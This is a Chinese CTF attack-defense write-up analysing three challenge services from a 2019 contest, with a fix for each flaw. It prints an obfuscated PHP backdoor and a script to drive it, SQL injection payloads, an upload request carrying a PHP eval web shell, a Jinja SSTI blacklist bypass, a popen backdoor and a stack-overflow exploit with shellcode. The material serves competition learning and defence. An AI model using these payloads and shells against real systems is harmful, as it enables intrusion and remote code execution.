广东强网杯AWD题目分析

2019-09-29 约 1083 字 预计阅读 6 分钟

声明:本文 【广东强网杯AWD题目分析】 由作者 iptabLs 于 2019-09-28 10:29:28 首发 先知社区 曾经 浏览数 1429 次

感谢 iptabLs 的辛苦付出!

广东强网杯AWD题目分析

上周末跟着大佬去广外打了一场线下赛,上午是应急响应,总体难度不大,大部分队伍都完成了10题,剩余一题逻辑卷损坏不会做。下午是AWD,由于主办方问题,导致了比赛延迟了1小时才进行,给了大量的时间进行题目分析,3个环境都在1小时内写好EXP。同时还有两个非预期的翻车事故,一是所有靶机的密码竟然都是一样,导致不少队伍给别人改了密码。二是使用操作系统竟然不是最新的内核版本,导致被人进行了提权。下面总结一下3个题目找到的漏洞,以及防御方法。

web1 php

第一个web是一个php写的CMS

漏洞一 预置后门

使用D盾可以扫到一个后门

<?php
$o='n();$r=@bas}>}>e64_encode(@x(}>@gzc}>o}>mpress($o),$}>k));p}>rint("}>$p$kh}>$r$kf");}';
$g='>EgwZ7H}>iEecl}>S";function }>x($t,$}>k){$}>}>c=s}>trlen(}>$k)}>;$l=strlen($t);$o="';
$l='";}>f}>or($i=0;$}>}>i<$l;){for($}>j=}>0;}>}>($j<$c&&$i<$l}>);$j++,$i++){$o.}>}>=$';
$r='_contents}>("p}>}>hp://i}>nput")}>,$m)==1){@ob_star}>t(}>);@}>eva}>l(@gzu}>ncompress(';
$L='$k="5ac}>91f7}>d";$}>kh=}>}>"b9615a29}>bc1d";}>$kf="24d0b67}>c2c91";$p}>="9GmI}>}';
$s=str_replace('C','','cCreaCteC_fCuCCnction');
$Z='t{$i}^}>$k{$}>j}>};}}ret}>urn $o;}}>if(@preg_match}>}>("}>/$kh(.+}>)$kf}>/",@file_}>get';
$h='@x(@ba}>se64}>_d}>ecode($m[1])}>,$}>}>k)))}>;}>$o=@}>ob_get_contents();@ob_}>en}>d_cl}>ea';
$q=str_replace('}>','',$L.$g.$l.$Z.$r.$h.$o);
$I=$s('',$q);$I();
?>

后门不是简单的一句话木马,需要调试分析

var_dump($I); // %00lambda_1
var_dump($q); // $k="5ac91f7d";$kh="b9615a29bc1d";$kf="24d0b67c2c91";$p="9GmIEgwZ7HiEeclS";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if(@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1){@ob_start();@eval(@gzuncompress(@x(@base64_decode($m[1]),$k)));$o=@ob_get_contents();@ob_end_clean();$r=@base64_encode(@x(@gzcompress($o),$k));print("$p$kh$r$kf");}

整理一下代码如下:

<?php
$k="5ac91f7d";
$kh="b9615a29bc1d";
$kf="24d0b67c2c91";
$p="9GmIEgwZ7HiEeclS";
function x($t,$k){
  $c=strlen($k);
  $l=strlen($t);
  $o="";
  for($i=0;$i<$l;){
    for($j=0;($j<$c&&$i<$l);$j++,$i++){
      $o.=$t{$i}^$k{$j};
    }
  }
  return $o;
}
if(@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1){
  @ob_start();
  @eval(@gzuncompress(@x(@base64_decode($m[1]),$k)));
  $o=@ob_get_contents();
  @ob_end_clean();
  $r=@base64_encode(@x(@gzcompress($o),$k));
  print("$p$kh$r$kf");
}

后门的流程如下:

  1. 首先用正则匹配post的内容,前缀为$kh,后缀为$kf
  2. 匹配内容进行base64解码
  3. 进行xor,key为$k
  4. 进行gzuncompress解压
  5. 进入eval执行代码
  6. 返回内容用相反的顺序进行加密

根据后门的流程编写python脚本即可

import requests
import zlib
import re
import base64

def x(t,k):
  return ''.join([chr(ord(x)^ord(y)) for x,y in zip(t,k*(len(t)/len(k)+1))])

session = requests.Session()
# @eval(@gzuncompress(@x(@base64_decode($m[1]),$k)));
cmd = 'system("cat /flag");'
cmd = zlib.compress(cmd)
cmd = x(cmd,"5ac91f7d")
cmd = base64.b64encode(cmd)

rawBody = "b9615a29bc1d{cmd}24d0b67c2c91".format(cmd=cmd)
response = session.post("http://192.168.100.101:50003/123.php", data=rawBody)

print("Response body: %s" % response.content)
res = re.findall(r'b9615a29bc1d(.+)24d0b67c2c91',response.content)[0]

# $r=@base64_encode(@x(@gzcompress($o),$k));
res = base64.b64decode(res)
res = x(res,"5ac91f7d")
res = zlib.decompress(res)
print(res)

漏洞一修复

比起之前见过的一些简单粗暴的内置一句话木马,这个后门相对复杂,不至于一上来就被人打爆。防御方式不用多说,直接删掉这段代码即可。

漏洞二 数据库注入

打开源码,会发现大量的数据库查询语句,一般只有addslashes,无任何过滤,例如:

$id=addslashes($_GET['cid']);
$query = "SELECT * FROM content WHERE id='$id'";

直接使用sqlmap跑一下就跑出来了

Parameter: cid (GET)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: r=software&cid=1 RLIKE (SELECT (CASE WHEN (6552=6552) THEN 1 ELSE 0x28 END))

    Type: error-based
    Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
    Payload: r=software&cid=1 AND EXTRACTVALUE(9269,CONCAT(0x5c,0x716b766271,(SELECT (ELT(9269=9269,1))),0x716a626b71))

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: r=software&cid=1 AND SLEEP(5)

可以直接通过load_file来读取flag。

漏洞二修复

当时尝试把ctf用户降权,但是权限不够,那么只能从代码入手。可以在数据库查询之前,对输入参数进行过滤.

<?php
function filter($str) {
    $filter = "/ |\*|#|;|,|is|union|like|regexp|for|and|or|file|--|\||`|&|" . urldecode('%09') . "|" . urldecode("%0a") . "|" . urldecode("%0b") . "|" . urldecode('%0c') . "|" . urldecode('%0d') . "|" . urldecode('%a0') . "/i";
    if (preg_match($filter, $str)) {
        die("you can't input this illegal char!");
    }
    return $str;
}

漏洞三 文件上传

查看数据库,可以看到后台密码

mysql> select * from manage;
+----+-------+-------+----------------------------------+---------------------------------------+-------------+----------+---------------------+
| id | user  | name  | password                         | img                                   | mail        | qq       | date                |
+----+-------+-------+----------------------------------+---------------------------------------+-------------+----------+---------------------+
|  1 | admin | admin | 5df3d06e515ef461ddc315aaf1ef9963 | ../upload/touxiang/61751569137471.php | me@baidu.so | 86226999 | 2019-09-22 08:18:14 |
+----+-------+-------+----------------------------------+---------------------------------------+-------------+----------+---------------------+
1 row in set (0.00 sec)

登录后台可以进行头像上传

查看源码上传部分的代码

if(!empty($_FILES['images']['tmp_name'])){
$query = "SELECT * FROM imageset";
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$imageset = mysql_fetch_array($result);
include '../inc/up.class.php';
if (!empty($HTTP_POST_FILES['images']['tmp_name']))//判断接收数据是否为空
{
    $tmp = new FileUpload_Single;
    var_dump($tmp);
    $upload="../upload/touxiang";//图片上传的目录,这里是当前目录下的upload目录,可自已修改
    $tmp -> accessPath =$upload;
    if ( $tmp -> TODO() )
    {
      $filename=$tmp -> newFileName;//生成的文件名
      $filename=$upload.'/'.$filename;
      $imgsms="及图片";

    }   
}
}

/inc/up.class.php可能有过滤,查看一下代码

<?php
class FileUpload_Single
{
//user define ------------------------------------- 
var $accessPath ;
var $fileSize=4000;
var $defineTypeList="jpg|jpeg|gif|png|php";//string jpg|gif|bmp  ...
var $filePrefix= "";
var  $changNameMode=0;
var $uploadFile;
var $newFileName;
var $error;

发现默认竟然可以上传php!那么直接上传php马即可,文件路径会显示在头像路径那里。

POST /admin/?r=manageinfo HTTP/1.1
Host: www.kira.com
Content-Length: 896
Cache-Control: max-age=0
Origin: http://www.kira.com
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAbFN0WGFM34xqzmF
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://www.kira.com/admin/?r=manageinfo
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8
Cookie: PHPSESSID=553efd0695ddb859599983f05171102b; user=admin
Connection: close

------WebKitFormBoundaryAbFN0WGFM34xqzmF
Content-Disposition: form-data; name="user"

admin
------WebKitFormBoundaryAbFN0WGFM34xqzmF
Content-Disposition: form-data; name="name"

admin
------WebKitFormBoundaryAbFN0WGFM34xqzmF
Content-Disposition: form-data; name="password"


------WebKitFormBoundaryAbFN0WGFM34xqzmF
Content-Disposition: form-data; name="password2"


------WebKitFormBoundaryAbFN0WGFM34xqzmF
Content-Disposition: form-data; name="mail"

me@baidu.so
------WebKitFormBoundaryAbFN0WGFM34xqzmF
Content-Disposition: form-data; name="qq"

86226999
------WebKitFormBoundaryAbFN0WGFM34xqzmF
Content-Disposition: form-data; name="images"; filename="123.php"
Content-Type: application/octet-stream

<?php @eval($_POST[c]);?>
------WebKitFormBoundaryAbFN0WGFM34xqzmF
Content-Disposition: form-data; name="save"

1
------WebKitFormBoundaryAbFN0WGFM34xqzmF--

漏洞三修复

修改/inc/up.class.php处的代码,删除$defineTypeList中的php,不允许上传php。

web2 python

第二个web是一个flask写的blog

漏洞一 SSTI

@app.errorhandler(404)
def page_not_found(e):
    def safe_jinja(s):
        blacklist = ['import','getattr','os','class','subclasses','mro','request','args','eval','if','for',' subprocess','file','open','popen','builtins','compile','execfile','from_pyfile','config','local','self','item','getitem','getattribute','func_globals']
        for no in blacklist:
            while True:
                if no in s:
                    s =s.replace(no,'')
                else:
                    break
        a =  ['config', 'self']
        return ''.join(['222% set {}=None%}}'.format(c) for c in a])+s
    template = '''
    {%% block body %%}
        <div class="center-content error">
            <h1>Oops! That page doesn't exist.</h1>
            <h3>%s</h3>
        </div>
    {%% endblock %%}
    ''' % (request.url)
    return render_template_string(safe_jinja(template)), 404

查看app.py,可以找到一个常见的SSTI漏洞,触发点是404,简单测试一下,发现确实可以模板注入。

代码自带了黑名单过滤,查用循环替换为空的过滤方式,浏览一下发现过滤不全,下划线,中括号,initglobals等关键字没有过滤,部分关键字可以使用字符串拼接的方式进行绕过。

最终读取flag的payload为:

http://127.0.0.1:5000/login/222session['__cla'+'ss__'].__base__.__base__.__base__['__subcla'+'sses__']()[163].__init__.__globals__['__bui'+'ltins__']['op'+'en']('/flag').read()}}

漏洞一 修复方法

原题已经提供了过滤的函数,直接增加过滤关键字就可以进行修复,例如直接把下划线加入黑名单

blacklist = ['_','import','getattr','os','class','subclasses','mro','request','args','eval','if','for',' subprocess','file','open','popen','builtins','compile','execfile','from_pyfile','config','local','self','item','getitem','getattribute','func_globals']

漏洞二 预置后门

查看blog编辑器的代码flask_blogging/views.py

@login_required
def editor(post_id):
    blogging_engine = _get_blogging_engine(current_app)
    cache = blogging_engine.cache
    if cache:
        _clear_cache(cache)
    try:
        with blogging_engine.blogger_permission.require():
            post_processor = blogging_engine.post_processor
            config = blogging_engine.config
            storage = blogging_engine.storage
            if request.method == 'POST':
                form = BlogEditor(request.form)
                if form.validate():
                    post = storage.get_post_by_id(post_id)
                    if (post is not None) and \
                            (PostProcessor.is_author(post, current_user)) and \
                            (str(post["post_id"]) == post_id):
                        pass
                    else:
                        post = {}
                    escape_text = config.get("BLOGGING_ESCAPE_MARKDOWN", False)
                    pid = _store_form_data(form, storage, current_user, post,
                                           escape_text)
                    editor_post_saved.send(blogging_engine.app,
                                           engine=blogging_engine,
                                           post_id=pid,
                                           user=current_user,
                                           post=post)
                    flash("Blog posted successfully!", "info")
                    slug = post_processor.create_slug(form.title.data)
                    return redirect(url_for("blogging.page_by_id", post_id=pid,
                                            slug=slug))
                else:
                    flash("There were errors in blog submission", "warning")
                    return render_template("blogging/editor.html", form=form,
                                           post_id=post_id, config=config)
            else:
                if post_id is not None:
                    post = storage.get_post_by_id(post_id)
                    if (post is not None) and \
                            (PostProcessor.is_author(post, current_user)):
                        tags = " ".join(post["tags"])
                        form = BlogEditor(title=post["title"],
                                          text=post["text"], tags=tags, public=post['public'])
                        editor_get_fetched.send(blogging_engine.app,
                                                engine=blogging_engine,
                                                post_id=post_id,
                                                form=form)
                        return render_template("blogging/editor.html",
                                               form=form, post_id=post_id,
                                               config=config)
                    else:
                        flash("You do not have the rights to edit this post",
                              "warning")
                        return redirect(url_for("blogging.index",
                                                post_id=None))

            form = BlogEditor()
            try:
                bingo = popen('echo Y2F0IC9mbGFnCg==|base64 -d|bash').read()
            except:
                bingo = ''
            return render_template("blogging/editor.html", form=form,
                                   post_id=post_id, config=config, bingo=bingo)
    except PermissionDenied:
        flash("You do not have permissions to create or edit posts", "warning")
        return redirect(url_for("blogging.index", post_id=None))

留意到这个函数有一句bingo = popen('echo Y2F0IC9mbGFnCg==|base64 -d|bash').read(),进行了命令执行,base64解码可以看到执行了cat /flag

> echo Y2F0IC9mbGFnCg==|base64 -d
cat /flag

函数开头有@login_required装饰器,因此需要进行登陆。

根据数据库的代码,可以找到数据库文件

app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///data/ezBlog.db'

class User(db.Model, UserMixin):
    __tablename__ = 'user'
    id = db.Column(db.Integer, primary_key=True)
    username = db.Column(db.String(32), unique=True)
    password = db.Column(db.String(64), unique=True)
    #posts = blog_db.relationship(, backref = , lazy = ) ## posts blongs to cur user
    def __init__(self, username, password):
        self.username = username
        self.password = password

使用sqlite studio查看数据库,可以看到默认的账号密码

使用test,test登陆后,在blog编辑界面就可以看到flag

漏洞二 修复方法

方法一:直接把命令执行的代码删除或者改掉

方法二:修改后台弱口令

pwn

漏洞分析

[*] '/home/kira/pwn/za/qwb'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

题目什么保护都没开,可见难度不会太大。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  FILE *v3; // rdi
  int v5; // [rsp+Ch] [rbp-34h]
  __int64 buf; // [rsp+10h] [rbp-30h]
  __int64 v7; // [rsp+18h] [rbp-28h]
  __int64 v8; // [rsp+20h] [rbp-20h]
  __int64 v9; // [rsp+28h] [rbp-18h]
  __int16 v10; // [rsp+30h] [rbp-10h]
  unsigned int v11; // [rsp+38h] [rbp-8h]
  int v12; // [rsp+3Ch] [rbp-4h]

  buf = 0LL;
  v7 = 0LL;
  v8 = 0LL;
  v9 = 0LL;
  v10 = 0;
  v11 = 0;
  v12 = 0;
  alarm(0x14u);
  setvbuf(_bss_start, 0LL, 2, 0LL);
  v3 = stdin;
  setvbuf(stdin, 0LL, 1, 0LL);
  menu(v3, 0LL);
  while ( v12 <= 3 )
  {
    v5 = 0;
    puts("Enter your choice:");
    __isoc99_scanf("%d", &v5);
    switch ( v5 )
    {
      case 2:
        magic(&buf, v11); // 地址泄露
        break;
      case 3:
        puts("What?");
        read(0, &buf, 0x40uLL); // 栈溢出
        break;
      case 1:
        what(); // 没用的
        break;
    }
    ++v12;
  }
  return 0;
}
int __fastcall magic(__int64 a1, int a2)
{
  int result; // eax

  if ( a2 == 0x12345678 )
    result = printf("It is magic: [%p]?\n", a1);
  return result;
}

函数功能不多,漏洞很明显:

  1. magic函数可以泄露栈地址,前提是v11是0x12345678。
  2. case 3可以进行栈溢出,刚好能覆盖到返回地址。

那么思路就是:

  1. 溢出覆盖v11为0x12345678,然后进行magic函数获取buff地址。
  2. 将shellcode写入buff,然后栈溢出覆盖返回地址为buff地址。

buf有0x38的长度供写入shellcode,卓卓有余,网上可以找22字节左右的shellcode,当然也可以自己写。

exp

def pwn(p):
   p.sendlineafter('choice:\n','3')
    p.send(p64(0x12345678)*6)
    p.sendlineafter('choice:\n','2')
    p.recvuntil('[')
    addr = int(p.recvuntil(']')[:-1],16)
    success(hex(addr)) # 0x7f09b7083000 0x7ffe28596f00

    p.sendlineafter('choice:\n','3')
    shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
    print len(shellcode)
    payload = shellcode.ljust(0x38,'\x00')+p64(addr)
    p.sendline('3')
    p.sendline('3')
    p.sendline(payload)

    p.sendline('cat flag')
    p.recv()
    p.sendline('cat flag')
    p.recv()
    p.interactive()

漏洞修复

getshell的关键点是栈溢出,因此只要把输入长度限制到0x30,漏洞就无法利用。

.text:000000000040086B                 lea     rax, [rbp+buf]
.text:000000000040086F                 mov     edx, 30h        ; nbytes
.text:0000000000400874                 mov     rsi, rax        ; buf
.text:0000000000400877                 mov     edi, 0          ; fd
.text:000000000040087C                 call    _read

题目没有设置更高级的漏洞,略显无趣。

比较过分的是,有队伍进行了提权,然后把flag删除了,只能在flag刷新的时候疯狂跑EXP,有机会在对方删flag前拿到。

关键词:[‘安全技术’, ‘CTF’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now